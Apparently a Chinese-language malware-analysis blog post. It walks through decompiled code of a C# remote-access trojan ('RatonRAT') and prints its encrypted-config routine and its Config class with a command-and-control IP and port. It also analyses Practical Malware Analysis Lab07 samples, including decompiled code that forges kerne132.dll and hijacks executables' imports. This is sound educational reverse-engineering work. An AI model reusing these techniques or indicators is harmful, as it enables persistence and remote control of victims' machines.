GClass65.string_3 = @class.method_2(GClass65.string_3);
GClass65.string_4 = @class.method_2(GClass65.string_4);
GClass65.string_5 = @class.method_2(GClass65.string_5);
GClass65.string_6 = @class.method_2(GClass65.string_6);
GClass65.string_9 = @class.method_2(GClass65.string_9);
GClass65.string_10 = @class.method_2(GClass65.string_10);
GClass65.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(@class.method_2(GClass65.string_11)));
GClass65.smethod_1();
return GClass65.smethod_2();

可以看到哪些关键数据是被method_2处理后在赋值

1
2
3
4
public string method_2(string input)
{
return Encoding.UTF8.GetString(this.method_3(Convert.FromBase64String(input)));
}

可以看到它先base64解码后再传给method_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public byte[] method_3(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
byte[] array6;
using (MemoryStream memoryStream = new MemoryStream(input))
{
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = this.byte_0;
using (HMACSHA256 hmacsha = new HMACSHA256(this.byte_1))
{
byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] array2 = new byte[32];
memoryStream.Read(array2, 0, array2.Length);
if (!Class29.smethod_0(array, array2))
{
throw new CryptographicException("Invalid message authentication code (MAC).");
}
}
byte[] array3 = new byte[16];
memoryStream.Read(array3, 0, 16);
aesCryptoServiceProvider.IV = array3;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
array6 = array5;
}
}
}
return array6;
}

这里可以看见先是给256aes加密设置了一下然后验证了hash值

				if (!Class29.smethod_0(array, array2))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}

这个对比了hash值来确保木马没有被篡改,最后再aes256解密

RatonRAT

今天来分析一个基本的木马

了解了一下先在市面上的木马一般都是用c#写的所以用dnSpy分析

image-20260421215826092

首先要找到木马逻辑

在这个目录上可以看见系统文件和dnSpy的信息文件而主要逻辑是在client中

image-20260421215956793

展开client可以看见

其中Client.Raton是这个木马的主要逻辑

costura是用来将dll整合成exe文件

至于cilent.praperties是系统自动生成的不用理会

image-20260421220953053

在supervisor下有这这个木马的关键函数

1
2
3
4
5
6
7
8
9
10
private Task InfoStuff()
{
Supervisor.<InfoStuff>d__21 <InfoStuff>d__;
<InfoStuff>d__.<>t__builder = AsyncTaskMethodBuilder.Create();
<InfoStuff>d__.<>4__this = this;
<InfoStuff>d__.<>1__state = -1;
<InfoStuff>d__.<>t__builder.Start<Supervisor.<InfoStuff>d__21>(ref <InfoStuff>d__);
return <InfoStuff>d__.<>t__builder.Task;
}

这个函数调用了异步函数使木马可以在后台运行来窃取电脑信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Client.Raton.Supervisor
// Token: 0x06000076 RID: 118 RVA: 0x00008AC8 File Offset: 0x00006CC8
private void ResolveHostAndPort(out string host, out int port)
{
host = Config.ht;
port = Config.pt;
if (string.IsNullOrWhiteSpace(host))
{
return;
}
string text = host.Trim();
if (text.StartsWith("http://", StringComparison.OrdinalIgnoreCase))
{
text = text.Substring(7);
}
else if (text.StartsWith("https://", StringComparison.OrdinalIgnoreCase))
{
text = text.Substring(8);
}
int num = text.LastIndexOf(':');
if (num > 0 && num < text.Length - 1)
{
string text2 = text.Substring(0, num);
int num2;
if (int.TryParse(text.Substring(num + 1), out num2))
{
host = text2;
port = num2;
}
}
}

这个函数获取了黑客的ip等信息

1
2
3
4
5
6
7
8
9
10
11
// Client.Raton.Supervisor
// Token: 0x06000074 RID: 116 RVA: 0x000089C4 File Offset: 0x00006BC4
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
byte[] array = new byte[12];
BitConverter.GetBytes(1U).CopyTo(array, 0);
BitConverter.GetBytes(timeMs).CopyTo(array, 4);
BitConverter.GetBytes(intervalMs).CopyTo(array, 8);
socket.IOControl((IOControlCode)((ulong)-1744830460), array, null);
}

这个函数让木马保持活性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;

// Token: 0x02000006 RID: 6
internal class Config
{
// Token: 0x04000022 RID: 34
public static string Version = "v3.5.0";

// Token: 0x04000023 RID: 35
public static string Mutex = "qkoxcbwHaoFUf4En5LVdu9W";

// Token: 0x04000024 RID: 36
public static int pt = Convert.ToInt32("4890");

// Token: 0x04000025 RID: 37
public static string ht = "170.205.31.216";

// Token: 0x04000026 RID: 38
public static bool Startup = Convert.ToBoolean("true");

// Token: 0x04000027 RID: 39
public static int Delay = Convert.ToInt32("0");

// Token: 0x04000028 RID: 40
public static bool ProcessCritical = Convert.ToBoolean("false");

// Token: 0x04000029 RID: 41
public static bool HideFile = Convert.ToBoolean("false");

// Token: 0x0400002A RID: 42
public static bool Box = Convert.ToBoolean("false");

// Token: 0x0400002B RID: 43
public static string BoxMsg = "Hello, i'm the description of your raton client message box";

// Token: 0x0400002C RID: 44
public static string BoxIcon = "No icon";

// Token: 0x0400002D RID: 45
public static bool UAC = Convert.ToBoolean("false");

// Token: 0x0400002E RID: 46
public static bool Assist = false;

// Token: 0x0400002F RID: 47
public static bool OpenWebsite = Convert.ToBoolean("false");

// Token: 0x04000030 RID: 48
public static string Website = "https://t.me/sillyisafed";

// Token: 0x04000031 RID: 49
public static bool VM = Convert.ToBoolean("false");

// Token: 0x04000032 RID: 50
public static string Tag = "Infected";

// Token: 0x04000033 RID: 51
public static string BoxTit = "Hello, im a title for your message box";

// Token: 0x04000034 RID: 52
public static bool HidProc = Convert.ToBoolean("false");

// Token: 0x04000035 RID: 53
public static bool UACBy = false;

// Token: 0x04000036 RID: 54
public static string Password = "";

// Token: 0x04000037 RID: 55
public static string Raw = "silly21";

// Token: 0x04000038 RID: 56
public static int Reconnect = Convert.ToInt32("3");

// Token: 0x04000039 RID: 57
public static bool Defender = Convert.ToBoolean("false");
}

这个类里包含了服务器的所有内容

来分析一下(恶意代码分析实战)中第7章的三个样本

Lab07-1

image-20260415232049895

这个是主代码这里直接创建了一个服务,然后这个服务的函数sub_401040就是服务的关键

image-20260415232348785

先是创建了一个互斥体让这个代码只运行一遍然后就是获取当前程序路径然后注册一个开机自启的服务(CreateServiceA)然后设置了一个在2100年创建一个20个线程

image-20260415232800167

利用szAgent(浏览器)向szurl(网址)不停的发送请求

这个病毒在每次开机的时候就会启用服务然后再2100年调用20个线程来循环轰炸一个网站

Lab07-2

image-20260415233332106

这个代码非常简单就是用com对象来执行恶意代码

这里其中clsid可以查表在调用函数的时候故意用函数偏移来使用函数而不是直接用函数名来反查杀,而psz更是关键常量储存了一个网址

Lab07-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
int __cdecl main(int argc, const char **argv, const char **envp)
{
HANDLE FileMappingA; // eax
_DWORD *v4; // esi
HANDLE FileA; // eax
HANDLE v6; // eax
const char **v7; // ebp
_DWORD *v8; // eax
const char *v9; // esi
_DWORD *v10; // ebx
int v11; // ebp
_DWORD *v12; // eax
unsigned int v13; // edi
int v14; // eax
int v15; // ecx
int v16; // edx
int v17; // esi
int v18; // edi
char *v19; // ebx
_DWORD *v20; // eax
const char **v21; // ecx
unsigned int v22; // edx
_DWORD *v23; // ebp
const char *v24; // edx
unsigned int v25; // kr08_4
char *v26; // eax
char *v27; // ebx
unsigned int v28; // kr10_4
bool v29; // cf
_WORD *v31; // [esp+10h] [ebp-44h]
unsigned __int16 *v32; // [esp+14h] [ebp-40h]
_DWORD *v33; // [esp+18h] [ebp-3Ch]
_DWORD *v34; // [esp+1Ch] [ebp-38h]
int v35; // [esp+20h] [ebp-34h]
_DWORD *v36; // [esp+24h] [ebp-30h]
int v37; // [esp+28h] [ebp-2Ch]
int i; // [esp+2Ch] [ebp-28h]
_DWORD *v39; // [esp+30h] [ebp-24h]
unsigned __int16 *v40; // [esp+34h] [ebp-20h]
char *v41; // [esp+38h] [ebp-1Ch]
int v42; // [esp+3Ch] [ebp-18h]
int v43; // [esp+44h] [ebp-10h]
int v44; // [esp+48h] [ebp-Ch]
HANDLE hObject; // [esp+4Ch] [ebp-8h]
HANDLE v46; // [esp+50h] [ebp-4h]
int argca; // [esp+58h] [ebp+4h]
const char **argva; // [esp+5Ch] [ebp+8h]
const char **argvb; // [esp+5Ch] [ebp+8h]

if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )
{
hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);//映射kernel32.dll
FileMappingA = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);
v4 = MapViewOfFile(FileMappingA, 4u, 0, 0, 0);
argca = (int)v4;
FileA = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);//映射Lab07-3.dll(恶意代码)
v46 = FileA;
if ( FileA == (HANDLE)-1 )
exit(0);
v6 = CreateFileMappingA(FileA, 0, 4u, 0, 0, 0);
if ( v6 == (HANDLE)-1 )
exit(0);
v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);
argva = v7;
if ( !v7 )
exit(0);
v41 = (char *)v4 + v4[15];
v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
v9 = &v7[15][(_DWORD)v7];
v10 = v8;
v36 = v8;
v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
v13 = *((_DWORD *)v9 + 31);
v39 = v12;
v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
qmemcpy((void *)v11, v10, v13);
v42 = v14;
v15 = v10[5];
*(_DWORD *)(v11 + 20) = v15;
*(_DWORD *)(v11 + 24) = v10[6];
*(_DWORD *)(v11 + 12) = v11 + 40 + v14;
v35 = v11 + 56;
strcpy((char *)(v11 + 40), "kerne132.dll");
*(_BYTE *)(v11 + 53) = BYTE1(dword_40301C);
*(_WORD *)(v11 + 54) = HIWORD(dword_40301C);
v16 = *(_DWORD *)(v11 + 20);
v17 = v11 + 56 + 4 * v16;
v18 = v11 + 56 + 8 * v16;
v44 = v17;
v43 = v18;
v19 = (char *)(16 * v15 + v11 + 56);
*(_DWORD *)(v11 + 28) = v11 + 56 + v14;
*(_DWORD *)(v11 + 36) = v17 + v14;
*(_DWORD *)(v11 + 32) = v18 + v14;
v20 = v36;
v21 = 0;
v22 = 0;
argvb = 0;
for ( i = 0; v22 < v20[5]; ++v34 )
{
if ( *v34 )
{
v37 = 0;
if ( v20[6] )
{
v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
v33 = v39;
v32 = v40;
do
{
if ( *v32 == v22 )
{
v24 = (const char *)sub_401040(*v33, v41, argca);
strcpy(v19, v24);
*v31 = (_WORD)argvb;
*(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
v25 = strlen(v24) + 1;
v26 = &v19[v25];
v27 = &v19[v25 + 9];
*v23 = &v26[v42];
*(_DWORD *)v26 = dword_403070;
*((_DWORD *)v26 + 1) = dword_403074;
v26[8] = byte_403078;
strcpy(v27, v24);
v28 = strlen(v24) + 1;
v20 = v36;
argvb = (const char **)((char *)argvb + 1);
v22 = i;
v19 = &v27[v28];
++v23;
++v31;
}
++v32;
v29 = (unsigned int)++v37 < v20[6];
++v33;
}
while ( v29 );
v21 = argvb;
v18 = v43;
v17 = v44;
}
}
i = ++v22;
}
CloseHandle(hObject);
CloseHandle(v46);
if ( !CopyFileA(ExistingFileName, NewFileName, 0) )//将生成Lab07-3.dll的名字改为kerne132d.dll
exit(0);
sub_4011E0(aC, 0);
}
return 0;
}

这串带吗就是引用kernel32.dll的代码和Lab07.dll的代码来生成kerne132.dll(主要是内存中以偏移的方法将原本的导出表和新的导出表生成kerne132.dll)

然后sub_4011E0(aC, 0);找到了c盘下所有exe文件并修改其中的导入表将kernel32.dll换为kerne132.dll然后每个exe加载的时候就直接加载kerne132.dll

image-20260416001949381

这个就是找到所有的exe文件的函数

image-20260416002045357

这个就是找到kernel32.dll的位置并替换的函数

0%